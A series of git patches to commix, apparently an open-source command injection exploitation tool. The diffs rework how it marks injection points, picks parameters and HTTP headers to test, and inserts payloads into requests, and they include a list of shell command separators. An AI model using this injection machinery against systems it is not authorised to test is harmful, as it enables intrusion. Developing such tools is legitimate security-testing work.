settings.CUSTOM_HEADER_INJECTION and (http_header_name in settings.TEST_PARAMETER) or (settings.WILDCARD_CHAR in http_header_value): + settings.CUSTOM_HEADER_CHECK = http_header_name + if len(http_header_name) != 0 and \ + http_header_name + ": " + http_header_value not in [settings.ACCEPT, settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE] and \ + http_header_name + ": " + http_header_value not in settings.CUSTOM_HEADERS_NAMES: + settings.CUSTOM_HEADERS_NAMES.append(http_header_name + ": " + http_header_value) + http_header_value = http_header_value.replace(settings.INJECT_TAG,"").replace(settings.WILDCARD_CHAR,"") + request.add_header(http_header_name, http_header_value) + + if http_header_name not in [settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE, settings.CUSTOM_HEADER_NAME]: request.add_header(http_header_name, http_header_value) except: pass diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 22c811c277..9c7ddd7496 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -47,16 +47,19 @@ def multi_params_get_value(parameter): value = ''.join(value) return value + if settings.USER_DEFINED_POST_DATA: + if settings.WILDCARD_CHAR in settings.USER_DEFINED_POST_DATA and not checks.process_non_custom(): + return False + if settings.INJECT_TAG in url: + settings.IGNORE_USER_DEFINED_POST_DATA = True + # Do replacement with the 'INJECT_HERE' tag, if the wild card char is provided. url = checks.wildcard_character(url) - if settings.USER_DEFINED_POST_DATA and settings.INJECT_TAG in url: - settings.IGNORE_USER_DEFINED_POST_DATA = True - # Check for REST-ful URLs format. if "?" not in url: if settings.INJECT_TAG not in url and not menu.options.shellshock: - checks.check_injection_level() - if menu.options.level == settings.HTTP_HEADER_INJECTION_LEVEL or \ + if len(settings.TEST_PARAMETER) != 0 or \ + menu.options.level == settings.HTTP_HEADER_INJECTION_LEVEL or \ menu.options.level == settings.COOKIE_INJECTION_LEVEL or \ settings.USER_DEFINED_POST_DATA and not settings.IGNORE_USER_DEFINED_POST_DATA: return False @@ -254,7 +257,6 @@ def json_format(parameter): parameter = json_format(parameter) _ = True - if isinstance(parameter, list): parameter = parameter[(len(parameter) - 1)] @@ -271,9 +273,7 @@ def json_format(parameter): return parameter # Do replacement with the 'INJECT_HERE' tag, if the wild card char is provided. - parameter = checks.wildcard_character(parameter).replace("'","\"").replace(", ",",").replace(",\"", ", \"") - checks.check_injection_level() # Check if JSON Object. if checks.is_JSON_check(parameter) or checks.is_JSON_check(checks.check_quotes_json_data(parameter)): if checks.is_JSON_check(checks.check_quotes_json_data(parameter)): @@ -506,6 +506,8 @@ def prefixes(payload, prefix): specify_referer_parameter(menu.options.referer) elif settings.HOST_INJECTION == True: specify_host_parameter(menu.options.host) + elif settings.CUSTOM_HEADER_INJECTION == True: + specify_host_parameter("") # Check if defined "--prefix" option. testable_value = settings.TESTABLE_VALUE @@ -633,7 +635,6 @@ def multi_params_get_value(parameter): Specify the cookie parameter(s). """ def specify_cookie_parameter(cookie): - # Specify the vulnerable cookie parameter if re.search(r"" + settings.COOKIE_DELIMITER + "(.*)=[\S*(\\/)]*" + settings.INJECT_TAG, cookie) or \ re.search(r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG , cookie): @@ -650,7 +651,6 @@ def specify_cookie_parameter(cookie): break else: inject_cookie = cookie - return inject_cookie """ @@ -658,7 +658,6 @@ def specify_cookie_parameter(cookie): """ def specify_user_agent_parameter(user_agent): settings.TESTABLE_VALUE = user_agent.replace(settings.INJECT_TAG, "") - return user_agent """ @@ -666,7 +665,6 @@ def specify_user_agent_parameter(user_agent): """ def specify_referer_parameter(referer): settings.TESTABLE_VALUE = referer.replace(settings.INJECT_TAG, "") - return referer """ @@ -674,7 +672,6 @@ def specify_referer_parameter(referer): """ def specify_host_parameter(host): settings.TESTABLE_VALUE = host.replace(settings.INJECT_TAG, "") - return host """ @@ -682,7 +679,6 @@ def specify_host_parameter(host): """ def specify_custom_header_parameter(header_name): header_name = settings.CUSTOM_HEADER_NAME - return header_name # eof \ No newline at end of file diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index a83072500e..4d53cef2a3 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -704,10 +704,10 @@ def technology_detection(response): sys.stdout.flush() print(settings.SINGLE_WHITESPACE) try: - if len(response.info()['X-Powered-By']) != 0: + if len(response.info()[settings.X_POWERED_BY]) != 0: if settings.VERBOSITY_LEVEL != 0: debug_msg = "The target application is powered by " - debug_msg += response.info()['X-Powered-By'] + Style.RESET_ALL + "." + debug_msg += response.info()[settings.X_POWERED_BY] + Style.RESET_ALL + "." print(settings.print_bold_debug_msg(debug_msg)) except Exception as e: diff --git a/src/utils/settings.py b/src/utils/settings.py index e9ec72da22..dc242d51ab 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "31" +REVISION = "32" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -697,6 +697,7 @@ class OS(object): # Cookie injection COOKIE_INJECTION = None +HTTP_HEADERS_INJECTION = None # User-Agent injection USER_AGENT_INJECTION = None @@ -708,6 +709,8 @@ class OS(object): # Custom HTTP Headers injection CUSTOM_HEADER_INJECTION = False +CUSTOM_HEADERS_NAMES = [] +CUSTOM_HEADER_CHECK = "" CUSTOM_HEADER_NAME = "" CUSTOM_HEADER_VALUE = "" @@ -888,7 +891,7 @@ class OS(object): "Gentoo", r"Mac[\-\_\ ]?OSX", r"Red[\-\_\ ]?Hat", - "Unix" + "Unix", ] # Extensions skipped by crawler From 542bf0365e204a56a205ddb6346767933019e409 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 19 Apr 2024 08:36:43 +0300 Subject: [PATCH 425/560] Updates, fixes and adjustments --- src/core/injections/controller/checks.py | 56 +++++------ src/core/injections/controller/controller.py | 8 +- src/core/injections/controller/parser.py | 2 +- src/core/main.py | 99 +++++++++++++------- src/core/requests/headers.py | 23 +++-- src/core/requests/parameters.py | 10 +- src/core/requests/requests.py | 1 + src/utils/settings.py | 6 +- 8 files changed, 121 insertions(+), 84 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 9c570b33bb..346db0959a 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -143,8 +143,11 @@ def check_custom_injection_marker(url, http_request_method): elif menu.options.host and settings.WILDCARD_CHAR in menu.options.host: settings.WILDCARD_CHAR_APPLIED = settings.HOST_INJECTION = True elif settings.CUSTOM_HEADER_CHECK and settings.CUSTOM_HEADER_CHECK != settings.ACCEPT: - if settings.CUSTOM_HEADER_CHECK in settings.TEST_PARAMETER: - settings.WILDCARD_CHAR_APPLIED = settings.CUSTOM_HEADER_INJECTION = True + if settings.CUSTOM_HEADER_CHECK not in settings.TEST_PARAMETER: + settings.WILDCARD_CHAR_APPLIED = True + else: + settings.CUSTOM_HEADER_INJECTION = True + return False if settings.WILDCARD_CHAR_APPLIED: while True: @@ -154,7 +157,7 @@ def check_custom_injection_marker(url, http_request_method): if procced_option in settings.CHOICE_YES: return True elif procced_option in settings.CHOICE_NO: - settings.CUSTOM_HEADER_INJECTION = False + # settings.CUSTOM_HEADER_INJECTION = False return False elif procced_option in settings.CHOICE_QUIT: raise SystemExit() @@ -1106,26 +1109,20 @@ def enable_all_enumeration_options(): menu.options.passwords = True """ -Do replacement with the 'INJECT_HERE' tag, -if the wildcard char is provided. +Do check for injection marker. """ def wildcard_character(data): if settings.WILDCARD_CHAR_APPLIED != None: - _ = "" + _ = [] for data in data.split("\\n"): - # Ignore the Accept HTTP Header - if not data.startswith(settings.ACCEPT) and not settings.WILDCARD_CHAR is None and not settings.INJECT_TAG in data and settings.WILDCARD_CHAR in data : - if settings.WILDCARD_CHAR_APPLIED: - data = data.replace(settings.WILDCARD_CHAR, settings.INJECT_TAG) - _ = _ + data + "\\n" - data = _.rstrip("\\n") - if data.count(settings.INJECT_TAG) > 1: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - err_msg = "You specified more than one custom injection markers ('" + settings.WILDCARD_CHAR + "'). " - err_msg += "Instead use the '-p' option to define them (i.e -p \"id1,id2\"). " - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + if not data.startswith(settings.ACCEPT) and settings.WILDCARD_CHAR in data: + if menu.options.test_parameter != None and settings.WILDCARD_CHAR_APPLIED == False: + data = data.replace(settings.WILDCARD_CHAR, "") + elif settings.WILDCARD_CHAR_APPLIED: + data = data.replace(settings.WILDCARD_CHAR, settings.ASTERISK_MARKER) + _.append(data) + data = "\\n".join((list(dict.fromkeys(_)))).rstrip("\\n") + data = data.replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) return data """ @@ -1208,17 +1205,17 @@ def testable_parameters(url, check_parameters, header_name): if http_header in non_exist_param: non_exist_param.remove(http_header) - if non_exist_param and _: + if settings.VERBOSITY_LEVEL != 0 and non_exist_param and _: non_exist_param_items = ", ".join(non_exist_param) - warn_msg = "Provided parameter" + "s"[len(non_exist_param) == 1:][::-1] + " '" - warn_msg += non_exist_param_items + "'" + (' are', ' is')[len(non_exist_param) == 1] - warn_msg += " not inside the " - if menu.options.level >= settings.COOKIE_INJECTION_LEVEL and header_name != "": - warn_msg += settings.HTTP_HEADER.capitalize() + debug_msg = "Provided parameter" + "s"[len(non_exist_param) == 1:][::-1] + " '" + debug_msg += non_exist_param_items + "'" + (' are', ' is')[len(non_exist_param) == 1] + debug_msg += " not inside the " + if settings.COOKIE_INJECTION: + debug_msg += settings.COOKIE else: - warn_msg += check_http_method(url) - warn_msg += "." - print(settings.print_warning_msg(warn_msg)) + debug_msg += check_http_method(url) + debug_msg += "." + print(settings.print_debug_msg(debug_msg)) """ @@ -1701,9 +1698,6 @@ def json_data(data): """ def is_empty(multi_parameters, http_request_method): all_empty = False - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Checking for empty values in provided data." - print(settings.print_debug_msg(debug_msg)) empty_parameters = [] multi_params = [s for s in multi_parameters] if settings.IS_JSON: diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 583cfee24f..aef80e6cee 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -115,9 +115,9 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, if check_parameter_in_http_header(check_parameter) and check_parameter not in settings.HOST.capitalize(): settings.CUSTOM_HEADER_NAME = check_parameter if settings.INJECT_TAG in settings.CUSTOM_HEADER_VALUE: - request.add_header(check_parameter, settings.CUSTOM_HEADER_VALUE.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)) + request.add_unredirected_header(check_parameter, settings.CUSTOM_HEADER_VALUE.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)) else: - request.add_header(check_parameter, (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) + request.add_unredirected_header(check_parameter, (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) headers.do_check(request) response = requests.get_request_response(request) @@ -177,9 +177,9 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t if check_parameter_in_http_header(check_parameter) and check_parameter not in settings.HOST.capitalize(): settings.CUSTOM_HEADER_NAME = check_parameter if settings.INJECT_TAG in settings.CUSTOM_HEADER_VALUE: - request.add_header(check_parameter, settings.CUSTOM_HEADER_VALUE.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)) + request.add_unredirected_header(check_parameter, settings.CUSTOM_HEADER_VALUE.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)) else: - request.add_header(check_parameter, (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) + request.add_unredirected_header(check_parameter, (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) headers.do_check(request) response = requests.get_request_response(request) diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index 542f30e1ba..8c4616839a 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -161,7 +161,7 @@ def invalid_data(request): match = match.replace("('", "") match = match.replace("')","\\n") # Ignore some header. - if "Content-Length" or "Accept-Encoding" in match: + if settings.CONTENT_LENGTH or settings.ACCEPT_ENCODING in match: extra_headers = extra_headers else: extra_headers = extra_headers + match diff --git a/src/core/main.py b/src/core/main.py index e15ba557c0..4b52e81ac6 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -64,40 +64,70 @@ """ Define HTTP User-Agent header. """ -def user_agent_header(): - # Check if defined "--mobile" option. - if menu.options.mobile: - if ((menu.options.agent != settings.DEFAULT_USER_AGENT) and not menu.options.requestfile) or menu.options.random_agent: - if not settings.MULTI_TARGETS or not settings.STDIN_PARSING: - err_msg = "The switch '--mobile' is incompatible with option '--user-agent' or switch '--random-agent'." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - else: - menu.options.agent = checks.mobile_user_agents() - - # Check if defined "--random-agent" option. - if menu.options.random_agent: - if ((menu.options.agent != settings.DEFAULT_USER_AGENT) and not menu.options.requestfile) or menu.options.mobile: - if not settings.MULTI_TARGETS or not settings.STDIN_PARSING: - err_msg = "The switch '--random-agent' is incompatible with option '--user-agent' or switch '--mobile'." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - else: +def defined_http_headers(): + def extra_headers(): + if any((menu.options.header, menu.options.headers)): + settings.EXTRA_HTTP_HEADERS = True if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Fetching random HTTP User-Agent header. " - print(settings.print_debug_msg(debug_msg)) + debug_msg = "Setting extra HTTP headers." + print(settings.print_debug_msg(debug_msg)) + + def cookie(): + if menu.options.cookie and settings.VERBOSITY_LEVEL != 0: + debug_msg = "Setting the HTTP " + settings.COOKIE + " header." + print(settings.print_debug_msg(debug_msg)) + + def referer(): + if menu.options.referer and settings.VERBOSITY_LEVEL != 0: + debug_msg = "Setting the HTTP " + settings.REFERER + " header." + print(settings.print_debug_msg(debug_msg)) + + def host(): + if menu.options.host and settings.VERBOSITY_LEVEL != 0: + debug_msg = "Setting the HTTP " + settings.HOST + " header." + print(settings.print_debug_msg(debug_msg)) + + def user_agent(): + # Check if defined "--mobile" option. + if menu.options.mobile: + if ((menu.options.agent != settings.DEFAULT_USER_AGENT) and not menu.options.requestfile) or menu.options.random_agent: + if not settings.MULTI_TARGETS or not settings.STDIN_PARSING: + err_msg = "The switch '--mobile' is incompatible with option '--user-agent' or switch '--random-agent'." + print(settings.print_critical_msg(err_msg)) + raise SystemExit() else: - pass - try: - menu.options.agent = random.choice(settings.USER_AGENT_LIST) - info_msg = "The fetched random HTTP User-Agent header value is '" + menu.options.agent + "'." - print(settings.print_info_msg(info_msg)) - except: - print(settings.SINGLE_WHITESPACE) + menu.options.agent = checks.mobile_user_agents() + + # Check if defined "--random-agent" option. + if menu.options.random_agent: + if ((menu.options.agent != settings.DEFAULT_USER_AGENT) and not menu.options.requestfile) or menu.options.mobile: + if not settings.MULTI_TARGETS or not settings.STDIN_PARSING: + err_msg = "The switch '--random-agent' is incompatible with option '--user-agent' or switch '--mobile'." + print(settings.print_critical_msg(err_msg)) + raise SystemExit() + else: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Fetching random HTTP User-Agent header. " + print(settings.print_debug_msg(debug_msg)) + else: + pass + try: + menu.options.agent = random.choice(settings.USER_AGENT_LIST) + info_msg = "The fetched random HTTP User-Agent header value is '" + menu.options.agent + "'." + print(settings.print_info_msg(info_msg)) + except: + print(settings.SINGLE_WHITESPACE) + + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Setting the HTTP User-Agent header." + print(settings.print_debug_msg(debug_msg)) + + extra_headers() + cookie() + referer() + host() + user_agent() - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Setting the HTTP User-Agent header." - print(settings.print_debug_msg(debug_msg)) """ Examine the request @@ -163,8 +193,8 @@ def init_request(url, http_request_method): print(settings.print_debug_msg(debug_msg)) if menu.options.timeout: settings.TIMEOUT = menu.options.timeout - # Define HTTP User-Agent header - user_agent_header() + # Define HTTP headers + defined_http_headers() # Check the internet connection (--check-internet switch). if menu.options.check_internet: check_internet(url) @@ -183,6 +213,7 @@ def init_request(url, http_request_method): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Creating " + str(settings.SCHEME).upper() + " requests opener object." print(settings.print_debug_msg(debug_msg)) + settings.WILDCARD_CHAR_APPLIED = checks.check_custom_injection_marker(url, http_request_method) # Check connection(s) checks.check_connection(url) return request @@ -301,8 +332,6 @@ def main(filename, url, http_request_method): if settings.WILDCARD_CHAR_APPLIED and settings.MULTI_TARGETS or settings.STDIN_PARSING: settings.WILDCARD_CHAR_APPLIED = False - settings.WILDCARD_CHAR_APPLIED = checks.check_custom_injection_marker(url, http_request_method) - # Define the level of tests to perform. if menu.options.level == settings.DEFAULT_INJECTION_LEVEL: settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL1), key=settings.SEPARATORS_LVL1.index) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 8bcbc2e5f5..09a1d86947 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -287,13 +287,16 @@ def do_check(request): if not checks.get_header(request.headers, settings.ACCEPT): request.add_header(settings.ACCEPT, settings.ACCEPT_VALUE) + if not checks.get_header(request.headers, settings.CONTENT_TYPE): + request.add_unredirected_header(settings.CONTENT_TYPE, settings.DEFAULT_HTTP_CONTENT_TYPE_VALUE) + # The MIME media type for JSON. if menu.options.data and not (menu.options.requestfile or menu.options.logfile): if re.search(settings.JSON_RECOGNITION_REGEX, menu.options.data) or \ re.search(settings.JSON_LIKE_RECOGNITION_REGEX, menu.options.data): - request.add_header(settings.CONTENT_TYPE, settings.HTTP_CONTENT_TYPE_JSON_HEADER_VALUE) + request.add_unredirected_header(settings.CONTENT_TYPE, settings.HTTP_CONTENT_TYPE_JSON_HEADER_VALUE) elif re.search(settings.XML_RECOGNITION_REGEX, menu.options.data): - request.add_header(settings.CONTENT_TYPE, settings.HTTP_CONTENT_TYPE_XML_HEADER_VALUE) + request.add_unredirected_header(settings.CONTENT_TYPE, settings.HTTP_CONTENT_TYPE_XML_HEADER_VALUE) # Default value for "Accept-Encoding" HTTP header if not (menu.options.requestfile or menu.options.logfile): @@ -343,16 +346,14 @@ def do_check(request): pass # Check if defined any extra HTTP headers. - if menu.options.headers or menu.options.header or settings.RAW_HTTP_HEADERS: + if settings.EXTRA_HTTP_HEADERS or settings.RAW_HTTP_HEADERS: if settings.RAW_HTTP_HEADERS: menu.options.headers = settings.RAW_HTTP_HEADERS # Do replacement with the 'INJECT_HERE' tag, if the wildcard char is provided. if menu.options.headers: - menu.options.headers = checks.wildcard_character(menu.options.headers) - extra_headers = menu.options.headers + extra_headers = checks.wildcard_character(menu.options.headers) elif menu.options.header: - menu.options.header = checks.wildcard_character(menu.options.header) - extra_headers = menu.options.header + extra_headers = checks.wildcard_character(menu.options.header) extra_headers = extra_headers.replace(":",": ") if ": //" in extra_headers: @@ -367,8 +368,10 @@ def do_check(request): tmp_extra_header.append(extra_headers) extra_headers = tmp_extra_header - # Remove empty strings - extra_headers = [x for x in extra_headers if x] + # Remove empty strings and/or duplicates + _ = [x for x in extra_headers if x] + extra_headers = (list(dict.fromkeys(_))) + if menu.options.data: # The MIME media type for JSON. if re.search(settings.JSON_RECOGNITION_REGEX, menu.options.data) or \ @@ -391,7 +394,7 @@ def do_check(request): http_header_value = ''.join(http_header_value).strip().replace(": ",":") # Check if it is a custom header injection. if http_header_name not in [settings.ACCEPT, settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE]: - if not settings.CUSTOM_HEADER_INJECTION and (http_header_name in settings.TEST_PARAMETER) or (settings.WILDCARD_CHAR in http_header_value): + if not settings.CUSTOM_HEADER_INJECTION and http_header_name in settings.TEST_PARAMETER or settings.INJECT_TAG in http_header_value: settings.CUSTOM_HEADER_CHECK = http_header_name if len(http_header_name) != 0 and \ http_header_name + ": " + http_header_value not in [settings.ACCEPT, settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE] and \ diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 9c7ddd7496..3ef25601c8 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -188,6 +188,7 @@ def vuln_GET_param(url): vuln_parameter = pairs[param].split("=")[0] if settings.WILDCARD_CHAR_APPLIED: try: + settings.TEST_PARAMETER = vuln_parameter settings.POST_WILDCARD_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] except Exception: pass @@ -289,7 +290,7 @@ def json_format(parameter): settings.IS_XML = checks.process_data(data_type, http_request_method) settings.PARAMETER_DELIMITER = "\n" - elif settings.TEST_PARAMETER and not any(ext in parameter for ext in settings.TEST_PARAMETER): + elif settings.TEST_PARAMETER and not any(ext in parameter for ext in settings.TEST_PARAMETER) and not settings.INJECT_TAG in parameter: settings.IGNORE_USER_DEFINED_POST_DATA = True if settings.IGNORE_USER_DEFINED_POST_DATA: @@ -449,7 +450,9 @@ def vuln_POST_param(parameter, url): parameters = re.sub(settings.IGNORE_JSON_CHAR_REGEX, '', parameter.split(settings.INJECT_TAG)[0].replace(",\"", settings.RANDOM_TAG + "\"")) parameters = ''.join(parameters.split(", ")[-1:]).strip() parameters = ''.join(parameters.split(":")[0]).strip() - vuln_parameter = ''.join(parameters.split(settings.RANDOM_TAG)[:1]) + settings.TESTABLE_VALUE = vuln_parameter = ''.join(parameters.split(settings.RANDOM_TAG)[:1]) + if settings.WILDCARD_CHAR_APPLIED: + settings.TEST_PARAMETER = vuln_parameter # XML data format. elif settings.IS_XML: @@ -464,6 +467,7 @@ def vuln_POST_param(parameter, url): vuln_parameter = ''.join(_.groups()[0]) if settings.WILDCARD_CHAR_APPLIED: try: + settings.TEST_PARAMETER = vuln_parameter settings.POST_WILDCARD_CHAR = result.split(settings.INJECT_TAG)[1] except Exception: pass @@ -479,6 +483,7 @@ def vuln_POST_param(parameter, url): vuln_parameter = pairs[param].split("=")[0] if settings.WILDCARD_CHAR_APPLIED: try: + settings.TEST_PARAMETER = vuln_parameter settings.POST_WILDCARD_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] except Exception: pass @@ -644,6 +649,7 @@ def specify_cookie_parameter(cookie): inject_cookie = pairs[param].split("=")[0] if settings.WILDCARD_CHAR_APPLIED: try: + settings.TEST_PARAMETER = inject_cookie settings.POST_WILDCARD_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] except Exception: pass diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 4d53cef2a3..ff15fce45c 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -675,6 +675,7 @@ def encoding_detection(response): charset_detected = True # Check the identifyied charset if charset_detected : + settings.DEFAULT_PAGE_ENCODING = charset if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) if settings.DEFAULT_PAGE_ENCODING.lower() not in settings.ENCODING_LIST: diff --git a/src/utils/settings.py b/src/utils/settings.py index dc242d51ab..cae508cda0 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "32" +REVISION = "33" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -371,6 +371,7 @@ class HEURISTIC_TEST(object): # The wildcard character WILDCARD_CHAR = "*" +ASTERISK_MARKER = "__ASTERISK__" WILDCARD_CHAR_APPLIED = False POST_WILDCARD_CHAR = "" @@ -463,6 +464,8 @@ class OS(object): # The HTTP header name. HTTP_HEADER = "" +EXTRA_HTTP_HEADERS = False + # The command injection separators. SEPARATORS = [] DEFAULT_SEPARATORS = ["", ";", "%26", "|"] @@ -859,6 +862,7 @@ class OS(object): HTTP_ACCEPT_ENCODING_HEADER_VALUE = "gzip, deflate" HTTP_CONTENT_TYPE_JSON_HEADER_VALUE = "application/json" HTTP_CONTENT_TYPE_XML_HEADER_VALUE = "text/xml" +DEFAULT_HTTP_CONTENT_TYPE_VALUE = "application/x-www-form-urlencoded" # Default server banner SERVER_BANNER = "" From d55ab3a4b7f95370622f1953916cf6a0c0ac1adf Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 22 Apr 2024 09:04:08 +0300 Subject: [PATCH 426/560] Updates, improvements and potential fix for https://github.com/commixproject/commix/issues/906 --- doc/CHANGELOG.md | 6 +- src/core/injections/controller/checks.py | 74 ++++++++++---------- src/core/injections/controller/controller.py | 16 ++--- src/core/main.py | 8 +-- src/core/requests/headers.py | 8 +-- src/core/requests/parameters.py | 38 +++++----- src/utils/settings.py | 11 ++- 7 files changed, 80 insertions(+), 81 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 719f9a38af..eb39ffc3a5 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,7 +1,7 @@ ## Version 4.0 (TBA) * Revised: Improvement regarding option `--skip` for excluding certain parameter(s) from testing. * Revised: Improvement regarding specifying which parameter(s) to test (i.e. `-p` option). -* Revised: Improvement regarding processing / ignoring injection marker (i.e. asterisk `*`). +* Revised: Improvement regarding processing / ignoring custom injection marker (i.e. asterisk `*`). * Revised: Improvement regarding forcing usage of provided HTTP method (e.g. `PUT`). * Revised: Improvement regarding parsing raw HTTP request from a file (i.e. `-r` option). * Revised: Improvement regarding parsing JSON nested objects. @@ -160,7 +160,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Revised: Minor improvement regarding verbose mode (i.e. debug messages). * Fixed: Bug-fix regarding Basic HTTP authentication. * Revised: Minor improvement regarding redirection mechanism. -* Fixed: Bug-fix regarding defining wildcard character `*` in nested JSON objects. +* Fixed: Bug-fix regarding defining custom injection marker (i.e. asterisk `*`) in nested JSON objects. * Revised: Minor improvement regarding Flatten_json (third party) module. * Revised: Minor improvement regarding parsing nested JSON objects. * Added: New tamper script "doublequotes.py" that adds double-quotes (`""`) between the characters of the generated payloads (for \*nix targets). @@ -509,7 +509,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ ## Version 0.8b (2016-05-06) * Fixed: The `--file-read` option to ignore the carriage return (`\r`) character in a text file. * Added: The ability to check for empty value(s) in the defined GET, POST, Cookie data and skip. -* Replaced: The `INJECT_HERE` tag has been replaced with the asterisk (`*`) wildcard character. +* Replaced: The `INJECT_HERE` tag has been replaced with the custom injection marker (i.e. asterisk `*`). * Added: New option `--level` (1-3) that specifies level of tests to perform. * Added: New option `-p` that specifies a comma-separated list of GET and POST parameter. * Added: The ability to check every parameter in the provided cookie data. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 346db0959a..8413f5512f 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -101,7 +101,7 @@ def quoted_value(value): Check for non custom parameters. """ def process_non_custom(): - if settings.WILDCARD_CHAR_APPLIED: + if settings.CUSTOM_INJECTION_MARKER: while True: message = "Other non-custom parameters found." message += " Do you want to process them too? [Y/n] > " @@ -121,37 +121,54 @@ def process_non_custom(): return True """ -Check for custom injection marker ('*'). +Process data with custom injection marker character ('*'). """ -def check_custom_injection_marker(url, http_request_method): - if url and settings.WILDCARD_CHAR in url: +def process_custom_injection_data(data): + if settings.CUSTOM_INJECTION_MARKER != None: + _ = [] + for data in data.split("\\n"): + if not data.startswith(settings.ACCEPT) and settings.CUSTOM_INJECTION_MARKER_CHAR in data: + if menu.options.test_parameter != None and settings.CUSTOM_INJECTION_MARKER == False: + data = data.replace(settings.CUSTOM_INJECTION_MARKER_CHAR, "") + elif settings.CUSTOM_INJECTION_MARKER: + data = data.replace(settings.CUSTOM_INJECTION_MARKER_CHAR, settings.ASTERISK_MARKER) + _.append(data) + data = "\\n".join((list(dict.fromkeys(_)))).rstrip("\\n") + data = data.replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) + return data + +""" +Check for custom injection marker character ('*'). +""" +def custom_injection_marker_character(url, http_request_method): + if url and settings.CUSTOM_INJECTION_MARKER_CHAR in url: option = "'-u'" - settings.WILDCARD_CHAR_APPLIED = True + settings.CUSTOM_INJECTION_MARKER = True if menu.options.data: settings.IGNORE_USER_DEFINED_POST_DATA = True - elif menu.options.data and settings.WILDCARD_CHAR in menu.options.data: + elif menu.options.data and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.data: option = str(http_request_method) + " body" - settings.WILDCARD_CHAR_APPLIED = True + settings.CUSTOM_INJECTION_MARKER = True else: option = "option '--headers/--user-agent/--referer/--cookie'" - if menu.options.cookie and settings.WILDCARD_CHAR in menu.options.cookie: - settings.WILDCARD_CHAR_APPLIED = settings.COOKIE_INJECTION = True - elif menu.options.agent and settings.WILDCARD_CHAR in menu.options.agent: - settings.WILDCARD_CHAR_APPLIED = settings.USER_AGENT_INJECTION = True - elif menu.options.referer and settings.WILDCARD_CHAR in menu.options.referer: - settings.WILDCARD_CHAR_APPLIED = settings.REFERER_INJECTION = True - elif menu.options.host and settings.WILDCARD_CHAR in menu.options.host: - 